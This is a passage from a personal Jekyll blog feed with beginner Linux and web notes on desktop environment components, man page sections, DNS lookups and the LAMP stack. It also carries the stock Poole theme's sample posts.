<p>What this does is, it first moves to virtual terminal 7, sleeps for 2 seconds, then use the import command to capture the screenshot of the desktop and save it in the file screenshot-output.png, and finally return back to virtual terminal 1 which was your original console. Cool isn’t it?</p>
The Struct of A Desktop Environment2015-11-18T00:00:00+00:00http://memto.github.io/linux/2015/11/18/the-struct-of-a-desktop-environment<h4 id="ref">Ref:</h4>
<ul>
<li><a href="http://www.linux.org/threads/the-structure-of-a-gui.6251/">The Structure of a GUI at www.linux.org</a><br /></li>
<li><a href="https://www.youtube.com/watch?v=Y2yVkkBpcw4&index=5&list=PLYNe5sJKU4bIFCGh5xzKBxeODUEdQiZ0Y">X Window System at youtube</a><br /></li>
<li><a href="https://www.youtube.com/watch?v=DeO2J3DnZqU&index=1&list=PLYNe5sJKU4bIFCGh5xzKBxeODUEdQiZ0Y">Linux Desktop Environments, Window Managers, and Related Topic at youtube</a><br /></li>
</ul>
<h4 id="windowing-system-ex-xorg-surfaceflinger-quartz-xfree86-and-weston">Windowing system (ex: Xorg, SurfaceFlinger, Quartz, XFree86, and Weston)</h4>
<blockquote>
<p>http://www.linux.org/threads/display-servers-windowing-systems.6326/</p>
</blockquote>
<h4 id="widget-toolkit-ex-gtk-qt-sdl-awt-motif">Widget-Toolkit (ex: GTK, QT, SDL, AWT, Motif)</h4>
<blockquote>
<p>http://www.linux.org/threads/understanding-gtk.6291/</p>
</blockquote>
<h4 id="window-manager-ex-mutter-metacity-kwin-twm-icewm">Window Manager (ex: Mutter, Metacity, KWin, twm, IceWM)</h4>
<blockquote>
<p>http://www.linux.org/threads/various-window-managers.6292/</p>
</blockquote>
<h4 id="display-manager-ex-lightdm-kdmkde-gdmgnome">Display Manager (ex: lightdm, kdm(KDE), gdm(GNOME))</h4>
<h4 id="desktop">Desktop</h4>
<h4 id="desktop-environment">Desktop Environment</h4>
<p>In summary, a desktop environment is the collection or a bundled package of various GUI components. Each component performs some function in producing a graphical way of interacting with your machine.</p>
<ul>
<li>
<p>The windowing system (think about Xorg) is the lowest level portion of the GUI that controls the input interaction (mouse and keyboard).</p>
</li>
<li>
<p>The window manager puts applications in designated portions of the screen called “windows”. Window managers provide a way to change the window size. Users may also use the window manager to close an application.</p>
</li>
<li>
<p>The widget toolkits provide a set (predefined) appearance that the window manager should draw. Such toolkits tell the window manager where to place the close, maximize, etc. buttons and how they should appear. Menus are also drawn by window managers after a toolkit declares how the menu should appear.</p>
</li>
<li>
<p>Display managers a graphical login interfaces that allows users to login and choose the environment to load (if the user has more than one environment installed).</p>
</li>
<li>
<p>Docks and launchers allow users to access certain application and files.</p>
</li>
<li>
<p>The desktop is an “invisible” background window that appears to be behind (or at the bottom - below) all of your other windows and docks.</p>
</li>
</ul>
What is Linux?2015-11-17T00:00:00+00:00http://memto.github.io/linux/2015/11/17/what-is-linux<h4 id="ref">Ref:</h4>
<ul>
<li><a href="http://swift.siphos.be/linux_sea/whatislinux.html">What is Linux at swift.siphos.be</a><br /></li>
<li><a href="https://en.wikipedia.org/wiki/Linux">Linux at wikipedia</a><br /></li>
<li><a href="https://en.wikipedia.org/wiki/Linux_kernel">Linux Kernel at wikipedia</a><br /></li>
<li><a href="http://www.linux.org/threads/what-is-linux.4076/">What is Linux at linux.org</a><br /></li>
<li><a href="https://www.linux.com/learn/new-user-guides/376?showall=1">What Is Linux: An Overview of the Linux Operating System at linux.com</a><br /></li>
<li><a href="http://www.pcworld.com/article/204767/a_guide_to_todays_top_10_linux_distributions.html">A Guide to Today’s Top 10 Linux Distributions at pcworld.com</a></li>
</ul>
<p><img src="/downloads/assets-hidden/linux-layer2.png" alt="linux-layer" />
(src: http://go2linux.garron.me/components-GNU-Linux-operating-system/)</p>
<p><img src="/downloads/assets-hidden/linux-layer1.jpg" alt="linux-layer" />
(src: http://www.freesoftwaremagazine.com/articles/rule_3_divide_and_conquer)</p>
What Do The Numbers In A Man Page Mean?2015-10-09T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2015/10/09/number-in-man-command<p>The number corresponds to what section of the manual that page is from; 1 is user commands, while 8 is sysadmin stuff. The man page for man itself (man man) explains it and lists the standard ones:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MANUAL SECTIONS
The standard sections of the manual include:
1 User Commands
2 System Calls
3 C Library Functions
4 Devices and Special Files
5 File Formats and Conventions
6 Games et. Al.
7 Miscellanea
8 System Administration tools and Deamons
Distributions customize the manual section to their specifics,
which often include additional sections.
</code></pre></div></div>
<p>There are certain terms that have different pages in different sections (e.g. printf as a command appears in section 1, as a stdlib function appears in section 3); in cases like that you can pass the section number to man before the page name to choose which one you want, or use man -a to show every matching page in a row:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>man 1 <span class="nb">printf</span>
<span class="nv">$ </span>man 3 <span class="nb">printf</span>
<span class="nv">$ </span>man <span class="nt">-a</span> <span class="nb">printf</span>
</code></pre></div></div>
<p>You can tell what sections a term falls in with man -k (equivalent to the apropos command). It will do substring matches too (e.g. it will show sprintf if you run man -k printf), so you need to use ^term to limit it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>man <span class="nt">-k</span> <span class="s1">'^printf'</span>
<span class="nb">printf</span> <span class="o">(</span>1<span class="o">)</span> - format and print data
<span class="nb">printf</span> <span class="o">(</span>1p<span class="o">)</span> - write formatted output
<span class="nb">printf</span> <span class="o">(</span>3<span class="o">)</span> - formatted output conversion
<span class="nb">printf</span> <span class="o">(</span>3p<span class="o">)</span> - print formatted output
<span class="nb">printf</span> <span class="o">[</span>builtins] <span class="o">(</span>1<span class="o">)</span> - bash built-in commands, see bash<span class="o">(</span>1<span class="o">)</span>
</code></pre></div></div>
<p>Ref:</p>
<ul>
<li><a href="http://unix.stackexchange.com/questions/3586/what-do-the-numbers-in-a-man-page-mean">What do the numbers in a man page mean? at unix.stackexchange.com</a></li>
</ul>
Learn Web Programming - Getting Started2015-10-01T00:00:00+00:00http://memto.github.io/program/2015/10/01/web-getting-started<p>Hello web programming!</p>
<h4 id="what-happened-when-we-enter-an-url-a-link-into-a-web-browser">What happened when we enter an URL (a link) into a web browser??</h4>
<p><img src="/downloads/draw-hidden/how-web-work.png" alt="how-web-work" /></p>
<p><br /><br /></p>
<h5 id="step1-the-browser-contact-dnsdomain-name-system-to-get-ip-address-of-server-which-serve-the-site">Step1. The browser contact DNS(Domain Name System) to get IP address of server which serve the site</h5>
<p>The chain of events to get the IP address for www.google.com: <br />
Ref: <a href="https://royal.pingdom.com/a-visual-explanation-of-how-dns-lookups-work/" title="How DNS lookups work">How DNS lookups work</a></p>
<p>(a1) First your browser queries the name server (DNS server) it is setup to use. This is the recursive name server shown above.</p>
<blockquote>
<p>How browser know DNS server IP to query on?? <br />
=> It is provided by DHCP or your manual setup in network setting <br />
Ref: <a href="https://serverfault.com/questions/208172/how-does-my-browser-know-where-to-get-data-from-a-server">How browser know DNS server IP</a></p>
</blockquote>
<p>The name server doesn’t know the IP address for www.google.com, so it will start the following chain of queries before it can report back the IP address to your browser.</p>
<ul>
<li>(a2,a3) Query the Internet root servers to get the name servers for the .com TLD (top level domain).</li>
<li>(a4,a5) Query the .com TLD name servers to get the authoritative name servers for google.com.</li>
<li>(a5,a7) Query the authoritative name servers for google.com to finally get the IP address for the host www.google.com</li>
<li>(a8) Return that IP address to your browser.</li>
</ul>
<h5 id="step2-when-got-ip-address-of-sites-server-google-server-the-browser-send-http-request-to-server-to-get-web-pages">Step2. When got IP address of site’s server (google server), the browser send HTTP request to server to get web pages</h5>
<p>What is a web server?</p>
<ul>
<li>It just a software that run on a machine and serve HTTP request from client</li>
</ul>
<p>How a web server work in general? <br /></p>
<ul>
<li>It create a socket at specific port (usually on port 80), listen on that port and accept connection from client <br /></li>
<li>With each connection accepted, web server create a thread to handle user request</li>
<li>The created thread can return a static web page to user or call a CGI - scripting language to process user data or access database</li>
</ul>
<p>What is apache? <br />
Ref: <a href="https://code.tutsplus.com/tutorials/an-introduction-to-apache--net-25786">What is an apache?</a></p>
<ul>
<li>It is one of the most popular web server (of course there is serveral web server software out there)</li>
</ul>
<p>Why need CGI - scripting language in general?</p>
<ul>
<li>To manipulate on user data and/or access database for specific data then return a web page to web server</li>
<li>If there isn’t such CGI functions, a web server can only serve static web pages</li>
</ul>
<p>What is PHP?</p>
<ul>
<li>It is one of scripting language along with others like Perl, Python…</li>
</ul>
<p>Why need DBMS?</p>
<p>A database is a structured collection of data. Here are some typical examples of databases:</p>
<ul>
<li>An online store database that stores products, customer details and orders</li>
<li>A database for a web forum that stores members, forums, topics and posts</li>
<li>A database for a blog system, such as WordPress, that stores users, blog posts, categories, tags, and comments</li>
</ul>
<p>The software that manages databases is known as a database management system, or DBMS. MySQL is an example of a DBMS. Rather confusingly, DBMSs are often called databases too. Strictly speaking though, the database is the data itself, while the DBMS is the software that works with the database.</p>
<h5 id="how-do-apache-php-and-mysql-all-work-together-">How do Apache, PHP, and MySQL All Work Together? <br /></h5>
<p>Ref: <a href="https://stackoverflow.com/questions/26132800/how-do-apache-php-and-mysql-all-work-together" title="How do apache, PHP and MySQL work together?">How do apache, PHP and MySQL work together?</a> <br />
<a href="https://stackoverflow.com/questions/2772400/how-does-php-interface-with-apache" title="How PHP interface with apache">How PHP interface with apache</a></p>
<h4 id="software-stack-model-">Software stack model <br /></h4>
<p>Ref: <a href="https://en.wikipedia.org/wiki/LAMP_(software_bundle)" title="LAMP software bundle">LAMP software bundle</a></p>
<p>So we normally need a web server, a cgi-scripting language, a DBMS work together on a machine. To do so, we can install each separately or install bundle of those software on specific environment. Example of that software bundle is LAMP which original stand for Linux-Apache-MySQL-PHP (if you’re on window environment you should instead install WAMP package)</p>
<p><img src="/downloads/draw-hidden/LAMP_software_bundle.png" alt="how-web-work" /></p>
<p>There are also other software bundle like this. Example is LYME (a solution stack based on Erlang) <br />
Ref: <a href="https://en.wikipedia.org/wiki/LYME_%28software_bundle%29" title="LYME software bundle">LYME software bundle</a></p>
<p><img src="/downloads/draw-hidden/800px-LYME_software_bundle.png" alt="how-web-work" /></p>
Introducing Poole2014-01-02T00:00:00+00:00http://memto.github.io/misc/2014/01/02/introducing-poole<p><em>The Strange Case of Dr. Jekyll and Mr. Hyde</em> tells the story of a lawyer investigating the connection of two persons, Dr. Henry Jekyll and Mr. Edward Hyde. Chief among the novel’s supporting cast is a man by the name of Mr. Poole, Dr. Jekyll’s loyal butler.</p>
<hr />
<p>Poole is the butler for <a href="http://jekyllrb.com">Jekyll</a>, the static site generator. It’s designed and developed by <a href="https://twitter.com/mdo">@mdo</a> to provide a clear and concise foundational setup for any Jekyll site. It does so by furnishing a full vanilla Jekyll install with example templates, pages, posts, and styles.
<!--more-->
There are currently two themes built on Poole:</p>
<ul>
<li><a href="http://hyde.getpoole.com">Hyde</a></li>
<li><a href="http://lanyon.getpoole.com">Lanyon</a></li>
</ul>
<p>Learn more and contribute on <a href="https://github.com/poole">GitHub</a>.</p>
<h3 id="whats-included">What’s included</h3>
<p>Poole is a streamlined Jekyll site designed and built as a foundation for building more meaningful themes. Poole, and every theme built on it, includes the following:</p>
<ul>
<li>Complete Jekyll setup included (layouts, config, <a href="/404.html">404</a>, <a href="/atom.xml">RSS feed</a>, posts, and <a href="/about">example page</a>)</li>
<li>Mobile friendly design and development</li>
<li>Easily scalable text and component sizing with <code class="language-plaintext highlighter-rouge">rem</code> units in the CSS</li>
<li>Support for a wide gamut of HTML elements</li>
<li>Related posts (time-based, because Jekyll) below each post</li>
<li>Syntax highlighting, courtesy Pygments (the Python-based code snippet highlighter)</li>
</ul>
<p>Additional features are available in individual themes.</p>
<h3 id="browser-support">Browser support</h3>
<p>Poole and its themes are by preference a forward-thinking project. In addition to the latest versions of Chrome, Safari (mobile and desktop), and Firefox, it is only compatible with Internet Explorer 9 and above.</p>
<h3 id="download">Download</h3>
<p>Poole is developed on and hosted with GitHub. Head to the <a href="https://github.com/poole/poole">GitHub repository</a> for downloads, bug reports, and features requests.</p>
<p>Thanks!</p>
Example content2014-01-01T00:00:00+00:00http://memto.github.io/linux/program/tooltips/misc/telecom/2014/01/01/example-content<div class="message">
Howdy! This is an example blog post that shows several types of HTML content supported in this theme.
</div>
<p>Cum sociis natoque penatibus et magnis <a href="#">dis parturient montes</a>, nascetur ridiculus mus. <em>Aenean eu leo quam.</em> Pellentesque ornare sem lacinia quam venenatis vestibulum. Sed posuere consectetur est at lobortis. Cras mattis consectetur purus sit amet fermentum.</p>
<blockquote>
<p>Curabitur blandit tempus porttitor. Nullam quis risus eget urna mollis ornare vel eu leo. Nullam id dolor id nibh ultricies vehicula ut id elit.</p>
</blockquote>
<p>Etiam porta <strong>sem malesuada magna</strong> mollis euismod. Cras mattis consectetur purus sit amet fermentum. Aenean lacinia bibendum nulla sed consectetur.
<!--more--></p>
<h2 id="inline-html-elements">Inline HTML elements</h2>
<p>HTML defines a long list of available inline tags, a complete list of which can be found on the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element">Mozilla Developer Network</a>.</p>
<ul>
<li><strong>To bold text</strong>, use <code class="language-plaintext highlighter-rouge"><strong></code>.</li>
<li><em>To italicize text</em>, use <code class="language-plaintext highlighter-rouge"><em></code>.</li>
<li>Abbreviations, like <abbr title="HyperText Markup Langage">HTML</abbr> should use <code class="language-plaintext highlighter-rouge"><abbr></code>, with an optional <code class="language-plaintext highlighter-rouge">title</code> attribute for the full phrase.</li>
<li>Citations, like <cite>— Mark otto</cite>, should use <code class="language-plaintext highlighter-rouge"><cite></code>.</li>
<li><del>Deleted</del> text should use <code class="language-plaintext highlighter-rouge"><del></code> and <ins>inserted</ins> text should use <code class="language-plaintext highlighter-rouge"><ins></code>.</li>
<li>Superscript <sup>text</sup> uses <code class="language-plaintext highlighter-rouge"><sup></code> and subscript <sub>text</sub> uses <code class="language-plaintext highlighter-rouge"><sub></code>.</li>
</ul>
<p>Most of these elements are styled by browsers with few modifications on our part.</p>
<h2 id="footnotes">Footnotes</h2>
<p>Footnotes are supported as part of the Markdown syntax. Here’s one in action. Clicking this number<sup id="fnref:fn-sample_footnote" role="doc-noteref"><a href="#fn:fn-sample_footnote" class="footnote" rel="footnote">1</a></sup> will lead you to a footnote. The syntax looks like:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">Clicking this number[^fn-sample_footnote]</code></pre></figure>
<p>Each footnote needs the <code class="language-plaintext highlighter-rouge">^fn-</code> prefix and a unique ID to be referenced for the footnoted content. The syntax for that list looks something like this:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">[^fn-sample_footnote]: Handy! Now click the return link to go back.</code></pre></figure>
<p>You can place the footnoted content wherever you like. Markdown parsers should properly place it at the bottom of the post.</p>
<h2 id="heading">Heading</h2>
<p>Vivamus sagittis lacus vel augue rutrum faucibus dolor auctor. Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Morbi leo risus, porta ac consectetur ac, vestibulum at eros.</p>
<h3 id="code">Code</h3>
<p>Inline code is available with the <code class="language-plaintext highlighter-rouge"><code></code> element. Snippets of multiple lines of code are supported through Pygments. Longer lines will automatically scroll horizontally when needed.</p>
<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="c1">// Example can be run directly in your JavaScript console</span>
<span class="c1">// Create a function that takes two arguments and returns the sum of those arguments</span>
<span class="kd">var</span> <span class="nx">adder</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">b</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">return a + b</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Call the function</span>
<span class="nx">adder</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
<span class="c1">// > 8</span></code></pre></figure>
<p>You may also optionally show code snippets with line numbers. Add <code class="language-plaintext highlighter-rouge">linenos</code> to the Pygments tags.</p>
<figure class="highlight"><pre><code class="language-js" data-lang="js"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre><span class="c1">// Example can be run directly in your JavaScript console</span>
<span class="c1">// Create a function that takes two arguments and returns the sum of those arguments</span>
<span class="kd">var</span> <span class="nx">adder</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">b</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">return a + b</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Call the function</span>
<span class="nx">adder</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
<span class="c1">// > 8</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Aenean lacinia bibendum nulla sed consectetur. Etiam porta sem malesuada magna mollis euismod. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa.</p>
<h3 id="gists-via-github-pages">Gists via GitHub Pages</h3>
<p>Vestibulum id ligula porta felis euismod semper. Nullam quis risus eget urna mollis ornare vel eu leo. Donec sed odio dui.</p>
<p>Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Nullam quis risus eget urna mollis ornare vel eu leo. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec sed odio dui. Vestibulum id ligula porta felis euismod semper.</p>
<h3 id="lists">Lists</h3>
<p>Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Aenean lacinia bibendum nulla sed consectetur. Etiam porta sem malesuada magna mollis euismod. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.</p>
<ul>
<li>Praesent commodo cursus magna, vel scelerisque nisl consectetur et.</li>
<li>Donec id elit non mi porta gravida at eget metus.</li>
<li>Nulla vitae elit libero, a pharetra augue.</li>
</ul>
<p>Donec ullamcorper nulla non metus auctor fringilla. Nulla vitae elit libero, a pharetra augue.</p>
<ol>
<li>Vestibulum id ligula porta felis euismod semper.</li>
<li>Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</li>
<li>Maecenas sed diam eget risus varius blandit sit amet non magna.</li>
</ol>
<p>Cras mattis consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis.</p>
<dl>
<dt>HyperText Markup Language (HTML)</dt>
<dd>The language used to describe and define the content of a Web page</dd>
<dt>Cascading Style Sheets (CSS)</dt>
<dd>Used to describe the appearance of Web content</dd>
<dt>JavaScript (JS)</dt>
<dd>The programming language used to build advanced Web sites and applications</dd>
</dl>
<p>Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Morbi leo risus, porta ac consectetur ac, vestibulum at eros. Nullam quis risus eget urna mollis ornare vel eu leo.</p>
<h3 id="images">Images</h3>
<p>Quisque consequat sapien eget quam rhoncus, sit amet laoreet diam tempus. Aliquam aliquam metus erat, a pulvinar turpis suscipit at.</p>
<p><img src="http://placehold.it/800x400" alt="placeholder" title="Large example image" />
<img src="http://placehold.it/400x200" alt="placeholder" title="Medium example image" class="center-img" />
<img src="http://placehold.it/200x200" alt="placeholder" title="Small example image" /></p>
<h3 id="tables">Tables</h3>
<p>Aenean lacinia bibendum nulla sed consectetur. Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Upvotes</th>
<th>Downvotes</th>
</tr>
</thead>
<tfoot>
<tr>
<td>Totals</td>
<td>21</td>
<td>23</td>
</tr>
</tfoot>
<tbody>
<tr>
<td>Alice</td>
<td>10</td>
<td>11</td>
</tr>
<tr>
<td>Bob</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>Charlie</td>
<td>7</td>
<td>9</td>
</tr>
</tbody>
</table>
<p>Nullam id dolor id nibh ultricies vehicula ut id elit. Sed posuere consectetur est at lobortis. Nullam quis risus eget urna mollis ornare vel eu leo.</p>
<hr />
<p>Want to see something else added? <a href="https://github.com/poole/poole/issues/new">Open an issue.</a></p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:fn-sample_footnote" role="doc-endnote">
<p>Handy! Now click the return link to go back. <a href="#fnref:fn-sample_footnote" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
What's Jekyll?2013-12-31T00:00:00+00:00http://memto.github.io/misc/2013/12/31/whats-jekyll<p><a href="http://jekyllrb.com">Jekyll</a> is a static site generator, an open-source tool for creating simple yet powerful websites of all shapes and sizes. From <a href="https://github.com/jekyll/jekyll/blob/master/README.markdown">the project’s readme</a>:</p>
<blockquote>
<p>Jekyll is a simple, blog aware, static site generator. It takes a template directory […] and spits out a complete, static website suitable for serving with Apache or your favorite web server. This is also the engine behind GitHub Pages, which you can use to host your project’s page or blog right here from GitHub.
<!--more-->
It’s an immensely useful tool. Find out more by <a href="https://github.com/jekyll/jekyll">visiting the project on GitHub</a>.</p>
</blockquote>
tooltips2000-01-02T00:00:00+00:00http://memto.github.io/tooltipstelecom2000-01-02T00:00:00+00:00http://memto.github.io/telecomprogram2000-01-02T00:00:00+00:00http://memto.github.io/programmisc2000-01-02T00:00:00+00:00http://memto.github.io/misclinux2000-01-02T00:00:00+00:00http://memto.github.io/linux